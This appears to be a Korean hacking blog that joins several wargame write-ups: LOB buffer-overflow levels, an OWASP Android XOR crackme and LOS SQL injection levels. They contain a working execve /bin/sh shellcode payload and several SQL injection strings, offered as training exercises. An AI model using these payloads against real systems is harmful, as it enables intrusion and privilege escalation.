/*
        The Lord of the BOF : The Fellowship of the BOF
        - darkelf
        - egghunter + buffer hunter + check length of argv[1]
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        // check the length of argument
        if(strlen(argv[1]) > 48){
                printf("argument is too long!\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);
}

 

코드를 살펴보면, egghunter와 bufferhunter, \xbf주소 조건이 보인다.

또한, argv[1]이 48을 넘을 수 없으므로, 48자로 작성해야한다.

bufferhunter에 의해 buffer엔 shell코드를 넣을 수 없다. 그러면 argv에 넣으면 된다.

스택은 총 48바이트이므로,

nop*19 + shellcode(25) + argv[1]주소

이렇게 넣으면 될것같다. nop을 감싸서 shellcode를 넣어도 되지만, 어차피 주소가 많이 벗어나면 의미가 없으므로, 

정확한 주소를 구하는게 편하다.

 

 

 

/*
        The Lord of the BOF : The Fellowship of the BOF
        - darkelf
        - egghunter + buffer hunter + check length of argv[1]
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        // check the length of argument
        if(strlen(argv[1]) > 48){
                printf("argument is too long!\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%x\n", argv[1]);
        printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);
}

 

darkelf.c 파일을 darkblf.c 파일로 복제한 뒤, argv[1]의 주소를 출력하는 코드를 추가하였다.

위 주소와 코어분석시 주소를 비교해보자.

코어 분석시 나오는 주소는 0xbffffc30 쪽이고, 수정한 코드로 구한 주소는 0xbffffc3e이므로 

코드를 수정해서 나오는 주소가 정확한것 같다. 하지만, 이 문제가 난이도가 낮기에 코드를 복제&수정이 가능하지 

다른환경에선 가능할지 모르니깐 여러 방법을 알아놓도록 하자.

 

이제 구한 주소로 페이로드를 작성하면, 

./darkelf `python -c 'print "\x90"*19 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x3e\xfc\xff\xbf"'`

 

'pwnable > LOB' 카테고리의 다른 글

LOB 8번  (0) 2020.07.25
LOB 7번  (0) 2020.07.25
LOB 5번  (0) 2020.07.22
LOB 4번  (0) 2020.07.22
LOB 3번  (0) 2020.07.19

 

 

omtg 첫번째 문제 badencryption이다.

제목처럼, 문제가 쉽다.

package sg.vp.owasp_mobile.OMTG_Android;

import android.os.Bundle;
import android.support.v7.app.AppCompatActivity;
import android.support.v7.widget.Toolbar;
import android.util.Base64;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Toast;
import com.google.common.base.Ascii;
import sg.vp.owasp_mobile.omtg_android.C0000R;

public class OMTG_DATAST_001_BadEncryption extends AppCompatActivity {
    Button btnVerify;
    EditText passwordEditText;

    /* access modifiers changed from: protected */
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView((int) C0000R.layout.activity_omtg__datast_001__bad_encryption);
        setSupportActionBar((Toolbar) findViewById(C0000R.id.toolbar));
        getSupportActionBar().setDisplayHomeAsUpEnabled(true);
        this.passwordEditText = (EditText) findViewById(C0000R.id.BadEnryptionPassword);
        this.btnVerify = (Button) findViewById(C0000R.id.BadEnryptionButton);
        this.btnVerify.setOnClickListener(new View.OnClickListener() {
            public void onClick(View v) {
                boolean unused = OMTG_DATAST_001_BadEncryption.verify(OMTG_DATAST_001_BadEncryption.this.passwordEditText.getText().toString());
                OMTG_DATAST_001_BadEncryption.this.result(Boolean.valueOf(OMTG_DATAST_001_BadEncryption.verify(OMTG_DATAST_001_BadEncryption.this.passwordEditText.getText().toString())));
            }
        });
    }

    /* access modifiers changed from: private */
    public void result(Boolean result) {
        if (result.booleanValue()) {
            Toast.makeText(this, "Congratulations, this is the correct password", 1).show();
        } else {
            Toast.makeText(this, "Try again!", 1).show();
        }
    }

    /* access modifiers changed from: private */
    public static boolean verify(String str) {
        byte[] encryptedDecoded = Base64.decode("vJqfip28ioydips=", 0);
        byte[] userPass = encrypt(str);
        if (userPass.length != encryptedDecoded.length) {
            return false;
        }
        for (int i = 0; i < userPass.length; i++) {
            if (userPass[i] != encryptedDecoded[i]) {
                return false;
            }
        }
        return true;
    }

    private static byte[] encrypt(String str) {
        byte[] bytes = str.getBytes();
        for (int i = 0; i < bytes.length; i++) {
            bytes[i] = (byte) (bytes[i] ^ Ascii.DLE);
            bytes[i] = (byte) ((bytes[i] ^ -1) & 255);
        }
        return bytes;
    }
}

 

 

주어진 문자열 [vJqfip28ioydips=]을 해독하면 된다.

암호화 방식을 보면, 간단한 xor연산으로 이루어져 있다.

xor은 두번하면 역연산이 이루어지므로, 간단한 파이썬 코드를 작성해본다.

import base64

word = 'vJqfip28ioydips='
text = bytearray(base64.b64decode(word))
for i in range(len(text)):
	text[i] = (text[i] ^ -1) & 255
	text[i] = text[i] ^ 16

print(text.decode())
    

    

(첫번째 for 구문은 1바이트 확인용 연산이고, 없어도 상관없긴 하지만 넣어주자.)

 

 

간단하게 풀렸다.

'Android' 카테고리의 다른 글

[twrp] sm-g610l android 8.1.0 (odin)  (0) 2020.10.05
cSploit 분석 계획  (0) 2020.08.18
Uncrackable_1(작성중)  (0) 2020.07.11

사람이 만들어 놓은 문제를 시간제약 없이 푼다고 가정했을때, 가장 중요한 점은 출제자의 의도 파악이다.

이 문제를 푸는게 목적이 아니라 이 문제를 통해서 개념을 배우는 입장이므로, 출제자의 의도를 파악하는 과정이 

가장 중요하다. 

 

우선, c파일을 읽어보면, egghunter가 있으므로 환경변수를 이용한 풀이는 제외.

처음보는 bufferhunter 코드를 보면 buffer에다가 shell코드를 넣는 풀이도 제외다.

 

어떻게 풀까?

 

우선 buffer에 값이 들어가는 방식을 잘 살펴보면, argv에 있던 값을 strcpy로 buffer에 넣어준다.

즉, buffer를 사용할 수 없다면 argv를 이용하면 될 것이다.

 

일단 늘 하던것처럼 intel로 disas해주면, 

 

이렇게 나오는데, bufferhunter의 작업이 끝난 230번에 b를 걸어주고, 주소를 보자.

bffffc5c 가 argv의 주소인것 같다.

한번 해보자.

 

 

페이로드가 nop슬라이드로 감싸준 경우도 있지만, 지금까지 풀어봤을때 그걸 감싸준다고 해도 주소가 완전히 다르면

에러가 나기에 지금은 딱히 감싸줄 필요가 없는것 같다.

 

'pwnable > LOB' 카테고리의 다른 글

LOB 7번  (0) 2020.07.25
LOB 6번  (0) 2020.07.25
LOB 4번  (0) 2020.07.22
LOB 3번  (0) 2020.07.19
LOB 2번  (0) 2020.07.12

이번에는 bash2를 안까먹고 먼저 넣어주었다.

orc파일을 보면, egghunter이라는게 적혀있는데, 환경변수를 이용할 수 없다는 뜻이다.

다음 for문을 보면, argv[1][47] 항목이 \xbf이어야 한다고 나와있다.

만약 bf가 아니면 stack이랑 손절할 수 없다고 하네

 

환경변수를 이용할 수 없으니깐 nop슬라이드에 shell코드를 태워주고 마지막에 buffer주소를 넣어주자.

전체 바이트 48에서 48-25=23이므로 마지막에 buffer주소를 넣어줄 4바이트를 제외한 19바이트로 nop슬라이드를 

태워주면 될것 같다.

 

우선 shell코드는 있으니깐 buffer주소를 찾아보자.

지금 내가 알고있는 buffer주소를 찾는 방법은 3가지가 있다.

첫번째는 어셈으로 뒤집어서 b를 걸어주고 주소를 찾는방법, 

두번째는 기존 c파일에 필요한 구문을 추가하여서 구하는 방법, 

마지막으로는 core파일을 이용하는 방법이다. 

 

첫번째 방법

첫번째 방법은 오류가 나왔다. segmentation fault 혹은 illegal instruction 에러가 뜨는 경우는 다양한 이유가 있겠지만, 

지금 내 환경에선 주소를 잘못지정했을 가능성이 높다.

 

두번째 방법

두번째 방법 역시 실패했다. 

3번째 방법

코어를 분석하는게 그나마 정확한 주소를 알수 있는것 같다.

그렇다고 한 우물만 파지 말고 다양한 도구를 알아가는게 좋을것 같다.

 

 

 

'pwnable > LOB' 카테고리의 다른 글

LOB 6번  (0) 2020.07.25
LOB 5번  (0) 2020.07.22
LOB 3번  (0) 2020.07.19
LOB 2번  (0) 2020.07.12
LOB 1번  (0) 2020.07.11

getadr.c 파일은 2번에서 사용한 환경변수를 구하는 프로그램이고, 그대로 가져와서 썼다.

 

일단 goblin.c파일을 읽어보면, 

전과는 다르게 매개변수를 이용한 입력이 아닌 표준입력 방식을 사용하고 있다. 

2번과 같이 환경변수에 shellcode를 넣긴 하지만, 표준입력이기에 파이프를 이용해야 한다.

bash를 바꾸면 기존 주소도 달라진다. 유의

 

환경변수의 주소는 bffffe53,

gets보단 fgets함수를 사용하는게 좋을듯

'pwnable > LOB' 카테고리의 다른 글

LOB 6번  (0) 2020.07.25
LOB 5번  (0) 2020.07.22
LOB 4번  (0) 2020.07.22
LOB 2번  (0) 2020.07.12
LOB 1번  (0) 2020.07.11

los 4번

먼저 필터링 함수를 보면 pw변수값만 필터링되는것을 알 수 있다.

문제 해결 조건을 보면, pw라는 변수가 존재하여야 하고, result의 pw와 쿼리에서 가져온 pw가 일치하여야 한다.

즉, db에 들어가있는 pw를 알아내야 한다.

 여기서 이용할 함수는 length함수와, ascii함수, substr함수이다.

우선, pw의 길이부터 확인해보자.

[?pw=' or length(pw)=1%23]

[?pw=' or length(pw)=2%23]

[?pw=' or length(pw)=3%23]

[?pw=' or length(pw)=4%23]

[?pw=' or length(pw)=5%23]

[?pw=' or length(pw)=6%23]

[?pw=' or length(pw)=7%23]

[?pw=' or length(pw)=8%23] >> Hello admin

 

pw의 길이가 8인건 알았지만, 숫자와 문자와 특수기호까지 포함해서 8자리라고 가정하면 가능한 값이 너무 많다.

pw의 길이는 아무리 길어도 2가지수를 넘어가지 않기에 노가다로 알아낼 수 있지만,

pw의 값을 알아내기엔 무리가 있다. 따라서, 파이썬코드를 작성하여 

pw 의 length와 값을 찾아보자.

pw 매칭

 

pw값은 095A9852

//아까 코드를 substr을 사용했기에 ord를 같이 사용해주면 대소문자도 구분 가능하다.

los 4번 답

'web > LOS' 카테고리의 다른 글

LOS 6번  (0) 2020.11.11
LOS 5번  (0) 2020.11.11
LOS 3번  (0) 2020.07.19
LOS 2번  (0) 2020.07.19
LOS 1번  (0) 2020.07.19

los 3번

쿼리랑 필터링 부분을 보면 no라는 변수값을 받아온다. 문제해결 조건은 id 라는 변수의 값을 admin으로 만들어야 한다.

그리고 필터링을 보면, prob, _, ., (), ', ", `를 필터링 한다. 즉, 쿼리를 정상적으로 작성할 수 없다. 

왜냐? 

예를 들어서 id라는 변수의 값을 admin으로 설정하고 싶으면, id='admin' 이런식으로 작성해야 하지만, '가 필터링되므로 변수값을 설정할 수 없다.

 

이 문제에서 이용할 함수는, char이라는 함수이다.

예를 들어서 char(99, 98)이렇게 작성하면 '기호가 포함되면서, 아스키값 99번과 98번의 값이 '기호로 감싸지면서 들어간다.

 

추가적으로, preg_match함수를 알아보자.

https://www.w3schools.com/php/func_regex_preg_match.asp

 

PHP preg_match() Function

PHP preg_match() Function ❮ PHP RegExp Reference Example Use a regular expression to do a case-insensitive search for "w3schools" in a string: Try it Yourself

www.w3schools.com

국내에서 쓴 글들은 대부분 3개의 인자로 preg_match를 설명하는데, 위 링크에 들어가보면 필수인자와 선택인자가 자세해게 구분되있어서, 위 글을 꼭 읽어보길 바란다.

 

preg_match함수를 해석해보면, no라는 변수의 값에 필터링을 적용시키고, 우린 no값부터 쿼리를 넣기 때문에 우리가 사용하는 쿼리가 전체필터링된다고 보면 될것같다.

일단 초기의 id는 guest이고, 그에 해당하는 no의 값은 뭔지 모른다. 또한, 우리가 들어가야 하는 id의 값은 admin이고, guest의 no의 값과는 달라야 id를 새로 지정하는 쿼리가 인식될 수 있다. 

쿼리를 작성해보면, 

[?no=1325 or id=char(97,100,109,105,110)]

char의 값은 admin의 아스키값을 넣은것이다.

los 3번 답

'web > LOS' 카테고리의 다른 글

LOS 6번  (0) 2020.11.11
LOS 5번  (0) 2020.11.11
LOS 4번  (0) 2020.07.19
LOS 2번  (0) 2020.07.19
LOS 1번  (0) 2020.07.19

 

los 2번

이 문제는 1번과 필터링함수가 동일하고, 문제가 풀리는 조건은 단순히 id라는 변수값에 admin이라는 값만 넣어주면 된다.

pw는 필요없긴 하지만, md5라는 새로운 문구가 추가되었다.

md5는 값을 해시값으로 바꿔주는 함수이고, 아직은 우회할 필요가 없으므로 넘어간다.

쿼리를 작성해보면, [?id=admin'%23]

los 2번 답

 

'web > LOS' 카테고리의 다른 글

LOS 6번  (0) 2020.11.11
LOS 5번  (0) 2020.11.11
LOS 4번  (0) 2020.07.19
LOS 3번  (0) 2020.07.19
LOS 1번  (0) 2020.07.19

+ Recent posts